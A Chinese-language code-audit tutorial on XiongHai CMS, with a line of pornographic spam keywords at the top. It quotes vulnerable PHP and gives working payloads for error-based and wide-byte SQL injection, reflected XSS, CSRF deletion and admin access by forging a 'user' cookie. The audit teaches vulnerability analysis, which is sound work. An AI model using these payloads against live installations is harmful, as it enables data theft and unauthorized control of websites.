亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

熊海CMS代碼審計(jì)漏洞分析

 更新時(shí)間:2023年02月24日 10:48:41   作者:XINO  
這篇文章主要為大家介紹了熊海CMS代碼審計(jì)漏洞分析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

前言

熊海CMS是由熊海開發(fā)的一款可廣泛應(yīng)用于個人博客,個人網(wǎng)站,企業(yè)網(wǎng)站的一套網(wǎng)站綜合管理系統(tǒng)。作為一個早期的系統(tǒng),里面代碼存在許多漏洞利用點(diǎn),且代碼量低適合作為代碼審計(jì)的入門挑戰(zhàn),本文就帶領(lǐng)大家對該系統(tǒng)存在的漏洞進(jìn)行分析。

基本結(jié)構(gòu)

這里我選擇使用小皮面板搭建在了本地,以便于調(diào)試錯誤,首先我們看看系統(tǒng)的結(jié)構(gòu):

——admin     //后臺?件
——css       //css?件
——files    //功能函數(shù)?件
——images   //圖?
——index.php //主?錄?件
——install   //安裝?件
——seacmseditor  //編輯器
——template      //模板?件
——upload    //?件上傳?錄

SQL注入漏洞

第一處

我們跳轉(zhuǎn)到admin/files/editlink.php,分析里面的一段代碼:

$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

簡單分析一下,我們通過GET輸入id和type,之后type與1進(jìn)行對比,匹配后會執(zhí)行SQL語句,了解SQL注入漏洞的朋友可能會看出這里有一個單引號閉合漏洞,我們只需在參數(shù)前進(jìn)行構(gòu)造閉合單引號,之后便可以成功執(zhí)行自定義的SQL語句:

r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

需要注意的是作為結(jié)果只返回給我們SQL語句正確與否,所以這里考慮使用錯報(bào)注入。

第二處

admin/files/editlink.php這個路徑下有一段代碼:

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$link = mysql_fetch_array($resul);

這里同樣存在一個GET傳參點(diǎn),我們可以傳入變量名為id的值,之后會執(zhí)行SQL語句查詢ID,若SQL語句有誤,進(jìn)行錯報(bào),因?yàn)槭菃我栭]合這里可以和第一處一樣使用錯報(bào)注入。

id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

第三處

/file/download.php這個路徑下的代碼:

$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";

可以看到里面有addslashes函數(shù):

這個函數(shù)會將預(yù)定義字符轉(zhuǎn)換加上反斜杠,所以我們無法進(jìn)行正常的單引號閉合,需要想辦法繞過,方法也很多,這里就簡單用寬字節(jié)注入繞過,具體使用方法可以參考我之前的文章:

http://chabaoo.cn/article/276349.htm

參考大佬的payload:

r=%df%27or%20if(1,sleep(3),1)%20%23

XSS漏洞

第一處

在/file/contact.php出存在漏洞代碼:

$page=addslashes($_GET['page']); 
<?php echo $page?> 

可以看到直接echo出了page變量,而該變量是我們直接可以GET傳入的,這里我們直接使用彈窗payload:

<img src=1 onerror=alert(/xss/)>

第二處

在/files/content.php出,存在與第一處差不多的代碼:

$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."頁 - ";
}

我們也可以向上面一樣將語句傳進(jìn)變量里去。

CSRF漏洞

第一處

這里以/admin/files/wzlist.php為例:

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
exit;

可以看到代碼執(zhí)行刪除SQL語句時(shí)并沒有對代碼進(jìn)行檢測,刪除操作對應(yīng)下面的界面:

我們先嘗試刪除然后進(jìn)行抓包,抓到了刪除時(shí)GET進(jìn)行的傳參:

?r=wzlist&delete=18

之后換另一個瀏覽器訪問整個payload,結(jié)合該系統(tǒng)中的一個越權(quán)操作,將user改成admin,之后訪問,成功實(shí)現(xiàn)了跳過驗(yàn)證進(jìn)行了刪除操作。

當(dāng)然這只是其中的一個點(diǎn),softlist.php也存在類似的CSRF漏洞。

垂直越權(quán)

第一處

在/inc/checklogin.php中,這里只看存在漏洞的代碼:

$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   

這里直接給user的cookie值設(shè)置成admin,即可跳轉(zhuǎn)管理員界面。

結(jié)語

今天給大家?guī)淼氖且粋€小型CMS的代碼審計(jì),當(dāng)然該系統(tǒng)的漏洞遠(yuǎn)不止文中提到的這些,總的來說還是挺簡單的,有興趣的小伙伴可以自己下載源碼去搭建系統(tǒng)

以上就是熊海CMS代碼審計(jì)漏洞分析的詳細(xì)內(nèi)容,更多關(guān)于熊海CMS代碼審計(jì)的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 使用tp框架和SQL語句查詢數(shù)據(jù)表中的某字段包含某值

    使用tp框架和SQL語句查詢數(shù)據(jù)表中的某字段包含某值

    今天小編就為大家分享一篇使用tp框架和SQL語句查詢數(shù)據(jù)表中的某字段包含某值,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-10-10
  • PHP的Laravel框架中使用消息隊(duì)列queue及異步隊(duì)列的方法

    PHP的Laravel框架中使用消息隊(duì)列queue及異步隊(duì)列的方法

    這篇文章主要介紹了PHP的Laravel框架中使用消息隊(duì)列queue及異步隊(duì)列的方法,針對Laravel 5.0后的版本,示例環(huán)境為Linux系統(tǒng),需要的朋友可以參考下
    2016-03-03
  • PHP 源代碼壓縮小工具

    PHP 源代碼壓縮小工具

    所有的PHP文件包在一個PHP文件移除所有的注釋移除多余空格保持輸出純PHP(即不需要任何額外的處理步驟來解析這個文件)
    2009-12-12
  • 通過源碼解析Laravel的依賴注入

    通過源碼解析Laravel的依賴注入

    這篇文章主要給大家介紹了如何通過源碼解析Laravel的依賴注入的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2018-01-01
  • php中simplexml_load_string使用實(shí)例分享

    php中simplexml_load_string使用實(shí)例分享

    這篇文章主要介紹了php中simplexml_load_string使用實(shí)例,需要的朋友可以參考下
    2014-02-02
  • php支付寶系列之電腦網(wǎng)站支付

    php支付寶系列之電腦網(wǎng)站支付

    這篇文章主要為大家詳細(xì)介紹了php支付寶系列之電腦網(wǎng)站支付,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-05-05
  • thinkphp3.2.2實(shí)現(xiàn)生成多張縮略圖的方法

    thinkphp3.2.2實(shí)現(xiàn)生成多張縮略圖的方法

    這篇文章主要介紹了thinkphp3.2.2實(shí)現(xiàn)生成多張縮略圖的方法,通過調(diào)用ThinkPHP擴(kuò)展包的UploadFile類實(shí)現(xiàn)針對上傳圖片的縮略圖處理,非常具有實(shí)用價(jià)值,需要的朋友可以參考下
    2014-12-12
  • PHP中ajax無刷新上傳圖片與圖片下載功能

    PHP中ajax無刷新上傳圖片與圖片下載功能

    本文給大家分享php ajax無刷新上傳圖片與圖片下載功能的實(shí)現(xiàn)代碼,非常不錯,具有參考借鑒價(jià)值,需要的的朋友參考下
    2017-02-02
  • laravel使用Redis實(shí)現(xiàn)網(wǎng)站緩存讀取的方法詳解

    laravel使用Redis實(shí)現(xiàn)網(wǎng)站緩存讀取的方法詳解

    這篇文章主要給大家介紹了關(guān)于laravel使用Redis實(shí)現(xiàn)網(wǎng)站緩存讀取的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2018-03-03
  • 詳解thinkphp中的volist標(biāo)簽

    詳解thinkphp中的volist標(biāo)簽

    本文通過實(shí)例案例給大家介紹了thinkphp中的volist標(biāo)簽,本文給大家介紹的非常詳細(xì),具有參考借鑒價(jià)值,需要的朋友參考下吧
    2018-01-01

最新評論